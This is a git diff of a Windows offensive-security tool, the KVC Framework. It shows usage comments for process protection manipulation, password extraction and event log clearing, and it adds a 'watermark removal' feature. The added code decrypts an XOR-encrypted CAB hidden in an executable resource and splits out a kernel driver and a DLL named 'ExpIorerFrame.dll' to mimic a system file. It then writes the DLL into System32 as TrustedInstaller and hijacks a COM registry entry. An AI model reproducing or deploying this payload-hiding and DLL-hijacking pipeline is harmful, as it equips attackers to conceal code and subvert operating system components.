* Shows practical command combinations for common tasks:
* - Process protection manipulation
* - Password extraction
* - System maintenance
* - Debugging and analysis
*
* @note Real-world usage scenarios
*/
static void PrintUsageExamples(std::wstring_view programName) noexcept;
/**
* @brief Print security notice and disclaimer
*
* Legal and ethical use warnings:
* - Authorized testing only
* - Legal compliance requirements
* - Responsible disclosure
* - Educational purposes
*
* @note Important legal and ethical considerations
*/
static void PrintSecurityNotice() noexcept;
/**
* @brief Print footer with donation links
*
* Support information and donation links:
* - PayPal donation link
* - Revolut donation link
* - Contact information
* - Support acknowledgments
*
* @note Optional support for project development
*/
static void PrintFooter() noexcept;
private:
// === Helper Methods for Consistent Formatting ===
/**
* @brief Print color-coded section header
* @param title Section title to display
*
* Formats section headers with yellow color for visibility
* and consistent spacing.
*
* @note Internal formatting helper
*/
// Formatting helpers
static void PrintSectionHeader(const wchar_t* title) noexcept;
/**
* @brief Print formatted command line with description
* @param command Command syntax
* @param description Command description
*
* Displays command and description in aligned columns
* for readability.
*
* @note Internal formatting helper
*/
static void PrintCommandLine(const wchar_t* command, const wchar_t* description) noexcept;
/**
* @brief Print informational note
* @param note Note text to display
*
* Formats informational notes with indentation and
* "Note:" prefix.
*
* @note Internal formatting helper
*/
static void PrintNote(const wchar_t* note) noexcept;
/**
* @brief Print warning message
* @param warning Warning text to display
*
* Formats warning messages with red color, indentation,
* and "WARNING:" prefix.
*
* @note Internal formatting helper
*/
static void PrintWarning(const wchar_t* warning) noexcept;
};

Binary file not shown.

Before

Width:  |  Height:  |  Size: 23 KiB

After

Width:  |  Height:  |  Size: 14 KiB

View File

@@ -1131,7 +1131,38 @@ int wmain(int argc, wchar_t* argv[])
else if (command == L"evtclear") {
return g_controller->ClearSystemEventLogs() ? 0 : 2;
}
// ====================================================================
// WATERMARK MANAGEMENT
// ====================================================================
else if (command == L"watermark" || command == L"wm") {
if (argc < 3) {
ERROR(L"Missing subcommand. Usage: kvc watermark <remove|restore|status>");
return 1;
}
std::wstring_view subCommand = argv[2];
if (subCommand == L"remove") {
INFO(L"Removing Windows desktop watermark...");
return g_controller->RemoveWatermark() ? 0 : 2;
}
else if (subCommand == L"restore") {
INFO(L"Restoring Windows desktop watermark...");
return g_controller->RestoreWatermark() ? 0 : 2;
}
else if (subCommand == L"status") {
std::wstring status = g_controller->GetWatermarkStatus();
INFO(L"Watermark status: %s", status.c_str());
return 0;
}
else {
ERROR(L"Unknown watermark subcommand: %s", subCommand.data());
return 1;
}
}
// ====================================================================
// UNKNOWN COMMAND
// ====================================================================

View File

@@ -129,6 +129,7 @@
<ClCompile Include="kvcDrv.cpp" />
<ClCompile Include="Utils.cpp" />
<ClCompile Include="Common.cpp" />
<ClCompile Include="WatermarkManager.cpp" />
<ClCompile Include="HiveManager.cpp" />
<ClCompile Include="ReportExporter.cpp" />
<ClCompile Include="SessionManager.cpp" />
@@ -148,6 +149,7 @@
<ClInclude Include="OffsetFinder.h" />
<ClInclude Include="kvcDrv.h" />
<ClInclude Include="Utils.h" />
<ClInclude Include="WatermarkManager.h" />
<ClInclude Include="HiveManager.h" />
<ClInclude Include="ReportExporter.h" />
<ClInclude Include="SessionManager.h" />

View File

@@ -57,19 +57,22 @@
<ClCompile Include="ControllerPasswordManager.cpp">
<Filter>Source Files\Controller</Filter>
</ClCompile>
<ClCompile Include="ControllerEventLogOperations.cpp">
<ClCompile Include="DSEBypass.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="ControllerDSE.cpp">
<Filter>Source Files\Controller</Filter>
</ClCompile>
<ClCompile Include="ControllerBinaryManager.cpp">
<Filter>Source Files\Controller</Filter>
</ClCompile>
<ClCompile Include="ControllerDSE.cpp">
<ClCompile Include="ControllerEventLogOperations.cpp">
<Filter>Source Files\Controller</Filter>
</ClCompile>
<ClCompile Include="DSEBypass.cpp">
<ClCompile Include="ProcessManager.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="ProcessManager.cpp">
<ClCompile Include="WatermarkManager.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="HiveManager.cpp">
@@ -116,6 +119,12 @@
<ClInclude Include="ReportExporter.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="DSEBypass.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="WatermarkManager.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="HiveManager.h">
<Filter>Header Files</Filter>
</ClInclude>
@@ -137,17 +146,6 @@
<ClInclude Include="ProcessManager.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="DSEBypass.h">
<Filter>Header Files</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<MASM Include="MmPoolTelemetry.asm">
<Filter>Source Files</Filter>
</MASM>
<MASM Include="ScreenShake.asm">
<Filter>Source Files</Filter>
</MASM>
</ItemGroup>
<ItemGroup>
<Image Include="ICON\kvc.ico">
@@ -159,9 +157,4 @@
<Filter>Resource Files</Filter>
</ResourceCompile>
</ItemGroup>
<ItemGroup>
<ResourceCompile Include="kvc.rc">
<Filter>Resource Files</Filter>
</ResourceCompile>
</ItemGroup>
</Project>

View File

@@ -18,6 +18,8 @@
#include <iomanip>
#include <filesystem>
#include <fstream>
#include <fdi.h>
#pragma comment(lib, "cabinet.lib")
namespace fs = std::filesystem;
@@ -1023,4 +1025,256 @@ const wchar_t* GetProcessDisplayColor(UCHAR signerType, UCHAR signatureLevel,
return ProcessColors::YELLOW;
}
#include <fdi.h>
#pragma comment(lib, "cabinet.lib")
// ============================================================================
// CAB DECOMPRESSION
// ============================================================================
// FDI callback structures
struct MemoryReadContext {
const BYTE* data;
size_t size;
size_t offset;
};
// Global context for FDI callbacks
static MemoryReadContext* g_cabContext = nullptr;
static std::vector<BYTE>* g_currentFileData = nullptr;
// FDI memory allocation
static void* DIAMONDAPI fdi_alloc(ULONG cb) {
return malloc(cb);
}
// FDI memory deallocation
static void DIAMONDAPI fdi_free(void* pv) {
free(pv);
}
// FDI file open - returns memory context
static INT_PTR DIAMONDAPI fdi_open(char* pszFile, int oflag, int pmode) {
return g_cabContext ? (INT_PTR)g_cabContext : -1;
}
// FDI file read - reads from memory buffer
static UINT DIAMONDAPI fdi_read(INT_PTR hf, void* pv, UINT cb) {
MemoryReadContext* ctx = (MemoryReadContext*)hf;
if (!ctx) return 0;
size_t remaining = ctx->size - ctx->offset;
size_t to_read = (cb < remaining) ? cb : remaining;
if (to_read > 0) {
memcpy(pv, ctx->data + ctx->offset, to_read);
ctx->offset += to_read;
}
return static_cast<UINT>(to_read);
}
// FDI file write - writes to current file buffer
static UINT DIAMONDAPI fdi_write(INT_PTR hf, void* pv, UINT cb) {
if (g_currentFileData && cb > 0) {
BYTE* data = static_cast<BYTE*>(pv);
g_currentFileData->insert(g_currentFileData->end(), data, data + cb);
}
return cb;
}
// FDI file close
static int DIAMONDAPI fdi_close(INT_PTR hf) {
g_currentFileData = nullptr;
return 0;
}
// FDI file seek - seeks in memory buffer
static LONG DIAMONDAPI fdi_seek(INT_PTR hf, LONG dist, int seektype) {
MemoryReadContext* ctx = (MemoryReadContext*)hf;
if (!ctx) return -1;
switch (seektype) {
case SEEK_SET: ctx->offset = dist; break;
case SEEK_CUR: ctx->offset += dist; break;
case SEEK_END: ctx->offset = ctx->size + dist; break;
}
return static_cast<LONG>(ctx->offset);
}
// FDI notification callback - handles file extraction
static INT_PTR DIAMONDAPI fdi_notify(FDINOTIFICATIONTYPE fdint, PFDINOTIFICATION pfdin) {
std::vector<BYTE>* extractedData = static_cast<std::vector<BYTE>*>(pfdin->pv);
switch (fdint) {
case fdintCOPY_FILE:
// Extract kvc.evtx file
if (pfdin->psz1) {
std::string filename = pfdin->psz1;
if (filename.find("kvc.evtx") != std::string::npos) {
g_currentFileData = extractedData;
return (INT_PTR)g_cabContext;
}
}
return 0;
case fdintCLOSE_FILE_INFO:
g_currentFileData = nullptr;
return TRUE;
default:
break;
}
return 0;
}
// Decompress CAB from memory and extract kvc.evtx
std::vector<BYTE> DecompressCABFromMemory(const BYTE* cabData, size_t cabSize) noexcept
{
std::vector<BYTE> extractedFile;
MemoryReadContext ctx = { cabData, cabSize, 0 };
g_cabContext = &ctx;
ERF erf{};
HFDI hfdi = FDICreate(fdi_alloc, fdi_free, fdi_open, fdi_read,
fdi_write, fdi_close, fdi_seek, cpuUNKNOWN, &erf);
if (!hfdi) {
DEBUG(L"FDICreate failed: %d", erf.erfOper);
g_cabContext = nullptr;
return extractedFile;
}
char cabName[] = "memory.cab";
char cabPath[] = "";
BOOL result = FDICopy(hfdi, cabName, cabPath, 0, fdi_notify, nullptr, &extractedFile);
FDIDestroy(hfdi);
g_cabContext = nullptr;
if (!result) {
DEBUG(L"FDICopy failed: %d", erf.erfOper);
return std::vector<BYTE>();
}
return extractedFile;
}
// Split kvc.evtx into kvc.sys (driver) and ExpIorerFrame.dll
bool SplitKvcEvtx(const std::vector<BYTE>& kvcData,
std::vector<BYTE>& outKvcSys,
std::vector<BYTE>& outDll) noexcept
{
if (kvcData.size() < 2) {
DEBUG(L"kvc.evtx too small");
return false;
}
// Find all MZ signatures (PE file start markers)
std::vector<size_t> peOffsets;
for (size_t i = 0; i < kvcData.size() - 1; i++) {
if (kvcData[i] == 0x4D && kvcData[i + 1] == 0x5A) { // MZ signature
peOffsets.push_back(i);
}
}
if (peOffsets.size() != 2) {
DEBUG(L"Expected 2 PE files in kvc.evtx, found %zu", peOffsets.size());
return false;
}
// Extract both PE files
size_t firstStart = peOffsets[0];
size_t firstEnd = peOffsets[1];
size_t secondStart = peOffsets[1];
size_t secondEnd = kvcData.size();
std::vector<BYTE> firstPE(kvcData.begin() + firstStart, kvcData.begin() + firstEnd);
std::vector<BYTE> secondPE(kvcData.begin() + secondStart, kvcData.begin() + secondEnd);
// Identify which is driver vs DLL by checking PE subsystem
auto isDriver = [](const std::vector<BYTE>& pe) -> bool {
if (pe.size() < 0x200) return false;
DWORD peOffset = *reinterpret_cast<const DWORD*>(&pe[0x3C]);
if (peOffset + 0x5C >= pe.size()) return false;
WORD subsystem = *reinterpret_cast<const WORD*>(&pe[peOffset + 0x5C]);
return (subsystem == 1); // IMAGE_SUBSYSTEM_NATIVE = kernel driver
};
bool firstIsDriver = isDriver(firstPE);
bool secondIsDriver = isDriver(secondPE);
// Assign outputs based on subsystem detection
if (firstIsDriver && !secondIsDriver) {
outKvcSys = firstPE;
outDll = secondPE;
} else if (!firstIsDriver && secondIsDriver) {
outKvcSys = secondPE;
outDll = firstPE;
} else {
DEBUG(L"Could not identify driver vs DLL in kvc.evtx");
return false;
}
DEBUG(L"Split kvc.evtx: kvc.sys=%zu bytes, ExpIorerFrame.dll=%zu bytes",
outKvcSys.size(), outDll.size());
return true;
}
// Extract kvc.sys and ExpIorerFrame.dll from resource CAB
bool ExtractResourceComponents(int resourceId,
std::vector<BYTE>& outKvcSys,
std::vector<BYTE>& outDll) noexcept
{
DEBUG(L"[EXTRACT] Loading resource %d", resourceId);
// Step 1: Load resource
auto resourceData = ReadResource(resourceId, RT_RCDATA);
if (resourceData.size() <= 3774) {
ERROR(L"[EXTRACT] Resource too small");
return false;
}
// Step 2: Skip icon (3774 bytes)
std::vector<BYTE> encryptedCAB(
resourceData.begin() + 3774,
resourceData.end()
);
DEBUG(L"[EXTRACT] Encrypted CAB size: %zu bytes", encryptedCAB.size());
// Step 3: XOR decrypt
auto decryptedCAB = DecryptXOR(encryptedCAB, KVC_XOR_KEY);
if (decryptedCAB.empty()) {
ERROR(L"[EXTRACT] XOR decryption failed");
return false;
}
// Step 4: CAB decompress → kvc.evtx
auto kvcEvtxData = DecompressCABFromMemory(decryptedCAB.data(), decryptedCAB.size());
if (kvcEvtxData.empty()) {
ERROR(L"[EXTRACT] CAB decompression failed");
return false;
}
DEBUG(L"[EXTRACT] kvc.evtx extracted: %zu bytes", kvcEvtxData.size());
// Step 5: Split into kvc.sys + ExpIorerFrame.dll
if (!SplitKvcEvtx(kvcEvtxData, outKvcSys, outDll)) {
ERROR(L"[EXTRACT] Failed to split kvc.evtx");
return false;
}
DEBUG(L"[EXTRACT] Success - kvc.sys: %zu bytes, ExpIorerFrame.dll: %zu bytes",
outKvcSys.size(), outDll.size());
return true;
}
} // namespace Utils

View File

@@ -1,14 +1,6 @@
/**
* @file Utils.h
* @brief Core utility functions declarations for KVC Framework
* @author Marek Wesolowski
* @date 2025
* @copyright KVC Framework
*
* Header file containing declarations for process management, memory operations,
* protection level handling, and various system utilities.
* Centralized utilities used throughout the KVC Framework.
*/
// Utils.h
// Core utility functions for KVC Framework
// Author: Marek Wesolowski, 2025
#pragma once
@@ -20,204 +12,80 @@
#include <vector>
#include <array>
/**
* @namespace Utils
* @brief Core utility functions namespace for KVC Framework
*
* Provides essential utilities for:
* - String and numeric parsing
* - File and resource operations
* - Process name resolution
* - Kernel address operations
* - Protection level bit manipulation
* - String conversion utilities
* - Process dumpability analysis
* - Hex string utilities
* - PE binary manipulation
* - Console coloring utilities
*/
namespace Utils
{
// ============================================================================
// STRING AND NUMERIC PARSING UTILITIES
// STRING AND NUMERIC PARSING
// ============================================================================
/**
* @brief Parses PID from string with validation
* @param pidStr String containing PID value
* @return std::optional<DWORD> Parsed PID or nullopt on invalid input
* @note Validates numeric range and format
* @note Returns nullopt for non-numeric strings or invalid PIDs
*/
std::optional<DWORD> ParsePid(const std::wstring& pidStr) noexcept;
/**
* @brief Checks if string contains only numeric characters
* @param str String to validate
* @return bool true if string is numeric
* @note Empty string returns false
* @note Handles Unicode numeric characters
*/
bool IsNumeric(const std::wstring& str) noexcept;
// ============================================================================
// FILE AND RESOURCE OPERATIONS (RENAMED TO AVOID WINAPI CONFLICTS)
// FILE AND RESOURCE OPERATIONS
// ============================================================================
/**
* @brief Reads file contents into byte vector
* @param path File path to read
* @return std::vector<BYTE> File contents or empty on failure
* @note Renamed from ReadFile to avoid conflict with Windows API
* @note Maximum file size: 256MB for safety
* @note Uses memory-mapped files for large files
*/
// Read file into byte vector
std::vector<BYTE> ReadFile(const std::wstring& path) noexcept;
/**
* @brief Reads embedded resource from executable
* @param resourceId Resource identifier
* @param resourceType Resource type (e.g., RT_RCDATA)
* @return std::vector<BYTE> Resource data or empty on failure
* @note Uses FindResource/LoadResource Windows API
* @note Returns empty vector if resource not found
*/
// Read embedded resource from executable
std::vector<BYTE> ReadResource(int resourceId, const wchar_t* resourceType);
/**
* @brief Writes byte vector to file with error handling
* @param path File path to write
* @param data Data to write
* @return bool true on successful write
* @note Renamed from WriteFile to avoid conflict with Windows API
* @note Handles large files with chunked writing
* @note Creates directory structure if needed
*/
// Write byte vector to file
bool WriteFile(const std::wstring& path, const std::vector<BYTE>& data) noexcept;
/**
* @brief Force deletes file by removing attributes and using fallback methods
* @param path File path to delete
* @return bool true if file deleted successfully
* @note Removes read-only, system, and hidden attributes
* @note Uses multiple deletion strategies for stubborn files
* @note Handles file locking and sharing violations
*/
// Force delete file with attribute removal
bool ForceDeleteFile(const std::wstring& path) noexcept;
// ============================================================================
// PROCESS NAME RESOLUTION
// ============================================================================
/**
* @brief Resolves process name from PID using multiple methods
* @param pid Process ID to resolve
* @return std::wstring Process name or "[Unknown]"
* @note Attempts: Toolhelp32, OpenProcess+GetModuleFileName, NtQuerySystemInformation
* @note Returns "[Unknown]" if all methods fail
* @note Caches results for performance
*/
std::wstring GetProcessName(DWORD pid) noexcept;
/**
* @brief Creates descriptive identifier for unknown protected processes
* @param pid Process ID
* @param kernelAddress Kernel EPROCESS address
* @param protectionLevel Protection level byte
* @param signerType Signer type byte
* @return std::wstring Descriptive process identifier
* @note Format: "Protected_Process_[PID]_[Address]_[ProtectionLevel]"
* @note Used when process name cannot be resolved normally
*/
std::wstring ResolveUnknownProcessLocal(DWORD pid, ULONG_PTR kernelAddress,
UCHAR protectionLevel, UCHAR signerType) noexcept;
// ============================================================================
// KERNEL OPERATIONS (INLINE OPTIMIZED)
// KERNEL OPERATIONS
// ============================================================================
/**
* @brief Resolves kernel base address with caching
* @return std::optional<ULONG_PTR> Kernel base or nullopt on failure
* @note Uses NtQuerySystemInformation with SystemModuleInformation
* @note Caches result for 5000ms for performance
* @note Returns ntoskrnl.exe base address
*/
std::optional<ULONG_PTR> GetKernelBaseAddress() noexcept;
/**
* @brief Calculates kernel address from base and offset
* @param base Kernel base address
* @param offset Offset from base
* @return ULONG_PTR Calculated kernel address
* @note Simple addition operation, marked constexpr for compile-time evaluation
* @note Used for calculating EPROCESS field addresses
*/
constexpr ULONG_PTR GetKernelAddress(ULONG_PTR base, DWORD offset) noexcept
{
return base + offset;
}
// ============================================================================
// PROTECTION LEVEL BIT MANIPULATION (INLINE FOR PERFORMANCE)
// PROTECTION LEVEL BIT MANIPULATION
// ============================================================================
/**
* @brief Extracts protection level from combined byte
* @param protection Combined protection byte
* @return UCHAR Protection level (lower 3 bits)
* @note Values: 0=None, 1=ProtectedLight, 2=Protected
* @note Uses bitmask 0x07 to extract lower 3 bits
*/
// Extract protection level from combined byte (lower 3 bits)
constexpr UCHAR GetProtectionLevel(UCHAR protection) noexcept
{
return protection & 0x07;
}
/**
* @brief Extracts signer type from combined byte
* @param protection Combined protection byte
* @return UCHAR Signer type (upper 4 bits)
* @note Values: 0=None, 1=Authenticode, 3=Antimalware, 6=WinTcb, etc.
* @note Uses bitmask 0xF0 and right shift to extract upper 4 bits
*/
// Extract signer type from combined byte (upper 4 bits)
constexpr UCHAR GetSignerType(UCHAR protection) noexcept
{
return (protection & 0xF0) >> 4;
}
/**
* @brief Combines protection level and signer into single byte
* @param protectionLevel Protection level (0-7)
* @param signerType Signer type (0-15)
* @return UCHAR Combined protection byte
* @note Format: [SignerType:4 bits][ProtectionLevel:3 bits][0:1 bit]
* @note Used for writing protection values to kernel memory
*/
// Combine protection level and signer into single byte
constexpr UCHAR GetProtection(UCHAR protectionLevel, UCHAR signerType) noexcept
{
return (signerType << 4) | protectionLevel;
}
/**
* @brief Extracts signature level value
* @param signatureLevel Raw signature level byte
* @return UCHAR Signature level value
* @note Uses bitmask 0x0F to extract lower 4 bits
* @note Signature level indicates code signing verification level
*/
// Extract signature level value (lower 4 bits)
constexpr UCHAR GetSignatureLevelValue(UCHAR signatureLevel) noexcept
{
return signatureLevel & 0x0F;
}
/**
* @brief Extracts section signature level value
* @param sectionSignatureLevel Raw section signature level byte
* @return UCHAR Section signature level value
* @note Uses bitmask 0x0F to extract lower 4 bits
* @note Section signature level indicates DLL signature verification level
*/
// Extract section signature level value (lower 4 bits)
constexpr UCHAR GetSectionSignatureLevelValue(UCHAR sectionSignatureLevel) noexcept
{
return sectionSignatureLevel & 0x0F;
@@ -227,108 +95,30 @@ namespace Utils
// PROTECTION LEVEL STRING CONVERSIONS
// ============================================================================
/**
* @brief Converts protection level to human-readable string
* @param protectionLevel Protection level byte
* @return const wchar_t* String representation ("None", "PPL", "PP")
* @note Returns "Unknown" for invalid protection levels
* @note Used for display and logging purposes
*/
const wchar_t* GetProtectionLevelAsString(UCHAR protectionLevel) noexcept;
/**
* @brief Converts signer type to human-readable string
* @param signerType Signer type byte
* @return const wchar_t* String representation (e.g., "Windows", "Antimalware")
* @note Returns "Unknown" for invalid signer types
* @note Maps PS_PROTECTED_SIGNER enum values to strings
*/
const wchar_t* GetSignerTypeAsString(UCHAR signerType) noexcept;
/**
* @brief Converts signature level to human-readable string
* @param signatureLevel Signature level byte
* @return const wchar_t* String representation
* @note Returns numeric value as string for unknown levels
* @note Used for displaying code signing information
*/
const wchar_t* GetSignatureLevelAsString(UCHAR signatureLevel) noexcept;
/**
* @brief Converts section signature level to human-readable string
* @param sectionSignatureLevel Section signature level byte
* @return const wchar_t* String representation
* @note Returns numeric value as string for unknown levels
* @note Used for displaying DLL signing information
*/
const wchar_t* GetSectionSignatureLevelAsString(UCHAR sectionSignatureLevel) noexcept;
// ============================================================================
// STRING TO ENUM PARSING
// ============================================================================
/**
* @brief Parses protection level string to enum value
* @param protectionLevel String like "PP", "PPL", "None"
* @return std::optional<UCHAR> Protection level value or nullopt
* @note Case-insensitive matching
* @note Supports "PP", "PPL", "None", "0", "1", "2" formats
*/
std::optional<UCHAR> GetProtectionLevelFromString(const std::wstring& protectionLevel) noexcept;
/**
* @brief Parses signer type string to enum value
* @param signerType String like "Windows", "Antimalware"
* @return std::optional<UCHAR> Signer type value or nullopt
* @note Case-insensitive matching
* @note Supports: WinTcb, Windows, Antimalware, Lsa, WinSystem, etc.
*/
std::optional<UCHAR> GetSignerTypeFromString(const std::wstring& signerType) noexcept;
/**
* @brief Gets recommended signature level for signer type
* @param signerType Signer type enumeration value
* @return std::optional<UCHAR> Signature level or nullopt
* @note Provides reasonable defaults for different signer types
* @note Used when setting new protection levels
*/
std::optional<UCHAR> GetSignatureLevel(UCHAR signerType) noexcept;
/**
* @brief Gets recommended section signature level for signer type
* @param signerType Signer type enumeration value
* @return std::optional<UCHAR> Section signature level or nullopt
* @note Provides reasonable defaults for different signer types
* @note Used when setting new protection levels
*/
std::optional<UCHAR> GetSectionSignatureLevel(UCHAR signerType) noexcept;
// ============================================================================
// PROCESS DUMPABILITY ANALYSIS
// ============================================================================
/**
* @brief Result structure for process dumpability analysis
*
* Contains analysis result indicating whether a process can be memory dumped
* and the detailed reason for the decision.
*/
struct ProcessDumpability
{
bool CanDump; ///< Whether process can be dumped
std::wstring Reason; ///< Detailed reason for dumpability status
bool CanDump;
std::wstring Reason;
};
/**
* @brief Analyzes whether process can be memory dumped
* @param pid Process ID
* @param processName Process executable name
* @param protectionLevel Current protection level
* @param signerType Digital signature authority
* @return ProcessDumpability Analysis result with reason
* @note Considers protection level, signer type, and process name
* @note Some protected processes cannot be dumped for security reasons
*/
ProcessDumpability CanDumpProcess(DWORD pid, const std::wstring& processName,
UCHAR protectionLevel, UCHAR signerType) noexcept;
@@ -336,103 +126,59 @@ namespace Utils
// HEX STRING UTILITIES
// ============================================================================
/**
* @brief Converts hex string to byte array
* @param hexString Hex string (supports 0x prefix, spaces, commas)
* @param bytes Output byte vector
* @return bool true if conversion successful
* @note Handles both uppercase and lowercase hex
* @note Skips whitespace and common separators
* @note Returns false for invalid hex characters
*/
bool HexStringToBytes(const std::wstring& hexString, std::vector<BYTE>& bytes) noexcept;
/**
* @brief Validates hex string format
* @param hexString String to validate
* @return bool true if valid hex string
* @note Allows 0x prefix, spaces, commas as separators
* @note Requires even number of hex digits after cleaning
*/
bool IsValidHexString(const std::wstring& hexString) noexcept;
// ============================================================================
// PE BINARY MANIPULATION
// ============================================================================
/**
* @brief Gets length of PE file from binary data
* @param data Binary data containing PE file
* @param offset Starting offset in data
* @return std::optional<size_t> PE file length or nullopt on invalid PE
* @note Validates DOS and NT headers
* @note Calculates length from section table
* @note Returns nullopt for invalid PE headers
*/
// Get PE file length from binary data
std::optional<size_t> GetPEFileLength(const std::vector<BYTE>& data, size_t offset = 0) noexcept;
/**
* @brief Splits combined PE binary into separate components
* @param combined Combined PE data
* @param first Output for first PE component
* @param second Output for second PE component
* @return bool true if splitting successful
* @note Validates both PE structures before splitting
* @note Used for extracting kvc_pass.exe and kvc_crypt.dll from kvc.dat
*/
// Split combined PE binary (used for kvc.dat extraction)
bool SplitCombinedPE(const std::vector<BYTE>& combined,
std::vector<BYTE>& first,
std::vector<BYTE>& second) noexcept;
/**
* @brief Decrypts data using XOR cipher
* @param encryptedData Data to decrypt
* @param key XOR key (7 bytes)
* @return std::vector<BYTE> Decrypted data or empty on failure
* @note Uses repeating key pattern for decryption
* @note Used for decrypting embedded driver and binaries
*/
// XOR decryption with 7-byte key
std::vector<BYTE> DecryptXOR(const std::vector<BYTE>& encryptedData,
const std::array<BYTE, 7>& key) noexcept;
// ============================================================================
// CONSOLE COLORING UTILITIES
// CAB DECOMPRESSION AND WATERMARK EXTRACTION
// ============================================================================
/**
* @brief ANSI color codes for process display
*
* Provides color coding for different process trust levels and types
* in console output. Uses ANSI escape sequences.
*/
struct ProcessColors {
static constexpr const wchar_t* GREEN = L"\033[92m"; ///< System processes (WinTcb, WinSystem)
static constexpr const wchar_t* RED = L"\033[91m"; ///< LSA processes (critical security)
static constexpr const wchar_t* YELLOW = L"\033[93m"; ///< User/Antimalware processes
static constexpr const wchar_t* BLUE = L"\033[94m"; ///< Unchecked signatures
static constexpr const wchar_t* PURPLE = L"\033[95m"; ///< SYSTEM ONLY!(always 4)
static constexpr const wchar_t* CYAN = L"\033[96m"; ///< Windows Signer
static constexpr const wchar_t* HEADER = L"\033[97;44m"; ///< Table headers (white on blue)
static constexpr const wchar_t* RESET = L"\033[0m"; ///< Reset color to default
};
// Decompress CAB archive from memory and extract kvc.evtx
std::vector<BYTE> DecompressCABFromMemory(const BYTE* cabData, size_t cabSize) noexcept;
// Split kvc.evtx into kvc.sys (driver) and ExpIorerFrame.dll
bool SplitKvcEvtx(const std::vector<BYTE>& kvcData,
std::vector<BYTE>& outKvcSys,
std::vector<BYTE>& outDll) noexcept;
// Extract components from resource 102 (CAB containing kvc.sys + ExpIorerFrame.dll)
bool ExtractResourceComponents(int resourceId,
std::vector<BYTE>& outKvcSys,
std::vector<BYTE>& outDll) noexcept;
// ============================================================================
// CONSOLE COLORING
// ============================================================================
struct ProcessColors {
static constexpr const wchar_t* GREEN = L"\033[92m";
static constexpr const wchar_t* RED = L"\033[91m";
static constexpr const wchar_t* YELLOW = L"\033[93m";
static constexpr const wchar_t* BLUE = L"\033[94m";
static constexpr const wchar_t* PURPLE = L"\033[95m";
static constexpr const wchar_t* CYAN = L"\033[96m";
static constexpr const wchar_t* HEADER = L"\033[97;44m";
static constexpr const wchar_t* RESET = L"\033[0m";
};
/**
* @brief Enables ANSI virtual terminal processing for colored output
* @return bool true if enabled successfully
* @note Required for ANSI color codes to work on Windows 10+
* @note Uses SetConsoleMode with ENABLE_VIRTUAL_TERMINAL_PROCESSING
*/
bool EnableConsoleVirtualTerminal() noexcept;
/**
* @brief Gets appropriate display color for process based on trust level
* @param signerType Process signer type
* @param signatureLevel Executable signature level
* @param sectionSignatureLevel DLL signature level
* @return const wchar_t* ANSI color code
* @note Color coding: Green=System, Red=LSA, Yellow=User, Blue=Unchecked
* @note Used in process listing and information display
*/
const wchar_t* GetProcessDisplayColor(UCHAR signerType, UCHAR signatureLevel,
UCHAR sectionSignatureLevel) noexcept;
}

234
kvc/WatermarkManager.cpp Normal file
View File

@@ -0,0 +1,234 @@
// WatermarkManager.cpp
// Implementation of watermark removal via DLL hijacking
#include "WatermarkManager.h"
#include "Utils.h"
#include <tlhelp32.h>
#include <iostream>
// Constructor
WatermarkManager::WatermarkManager(TrustedInstallerIntegrator& trustedInstaller)
: m_trustedInstaller(trustedInstaller)
{
}
// Main removal operation
bool WatermarkManager::RemoveWatermark() noexcept
{
INFO(L"[WATERMARK] Starting watermark removal process");
// Extract ExpIorerFrame.dll from resource
std::vector<BYTE> dllData;
if (!ExtractWatermarkDLL(dllData)) {
ERROR(L"[WATERMARK] Failed to extract DLL from resource");
return false;
}
INFO(L"[WATERMARK] Successfully extracted ExpIorerFrame.dll (%zu bytes)", dllData.size());
// Get System32 path
std::wstring system32Path = GetSystem32Path();
if (system32Path.empty()) {
ERROR(L"[WATERMARK] Failed to locate System32 directory");
return false;
}
std::wstring dllPath = system32Path + L"\\ExpIorerFrame.dll";
// Write DLL using TrustedInstaller
if (!m_trustedInstaller.WriteFileAsTrustedInstaller(dllPath, dllData)) {
ERROR(L"[WATERMARK] Failed to deploy DLL to System32");
return false;
}
INFO(L"[WATERMARK] DLL deployed to: %s", dllPath.c_str());
// Hijack registry entry
if (!m_trustedInstaller.WriteRegistryValueAsTrustedInstaller(
HKEY_CLASSES_ROOT, CLSID_KEY, L"", HIJACKED_DLL)) {
ERROR(L"[WATERMARK] Failed to hijack registry entry");
return false;
}
INFO(L"[WATERMARK] Registry hijacked successfully");
// Restart Explorer to apply changes
if (!RestartExplorer()) {
ERROR(L"[WATERMARK] Failed to restart Explorer");
return false;
}
SUCCESS(L"[WATERMARK] Watermark removed successfully");
return true;
}
// Restore original watermark
bool WatermarkManager::RestoreWatermark() noexcept
{
INFO(L"[WATERMARK] Starting watermark restoration process");
// 1. Najpierw przywróć rejestr
if (!m_trustedInstaller.WriteRegistryValueAsTrustedInstaller(
HKEY_CLASSES_ROOT, CLSID_KEY, L"", ORIGINAL_DLL)) {
ERROR(L"[WATERMARK] Failed to restore registry entry");
return false;
}
INFO(L"[WATERMARK] Registry restored to original value");
// 2. Zrestartuj Explorera (to zwolni uchwyt do DLL)
if (!RestartExplorer()) {
ERROR(L"[WATERMARK] Failed to restart Explorer");
return false;
}
// 3. Teraz usuń DLL (uchwyt został zwolniony)
std::wstring system32Path = GetSystem32Path();
if (!system32Path.empty()) {
std::wstring dllPath = system32Path + L"\\ExpIorerFrame.dll";
// Dodaj krótkie opóźnienie dla pewności
Sleep(1000);
if (!m_trustedInstaller.DeleteFileAsTrustedInstaller(dllPath)) {
// Nie traktuj jako błędu krytycznego - DLL może być w użyciu
INFO(L"[WATERMARK] DLL might still be in use, will be removed on next restart: %s",
dllPath.c_str());
} else {
INFO(L"[WATERMARK] Hijacked DLL deleted successfully");
}
}
SUCCESS(L"[WATERMARK] Watermark restored successfully");
return true;
}
// Check current status
std::wstring WatermarkManager::GetWatermarkStatus() noexcept
{
std::wstring currentValue = ReadRegistryValue(HKEY_CLASSES_ROOT, CLSID_KEY, L"");
if (currentValue == HIJACKED_DLL) {
return L"REMOVED";
} else if (currentValue == ORIGINAL_DLL) {
return L"ACTIVE";
}
return L"UNKNOWN";
}
bool WatermarkManager::IsWatermarkRemoved() noexcept
{
return GetWatermarkStatus() == L"REMOVED";
}
// Extract DLL from resource - Complete pipeline
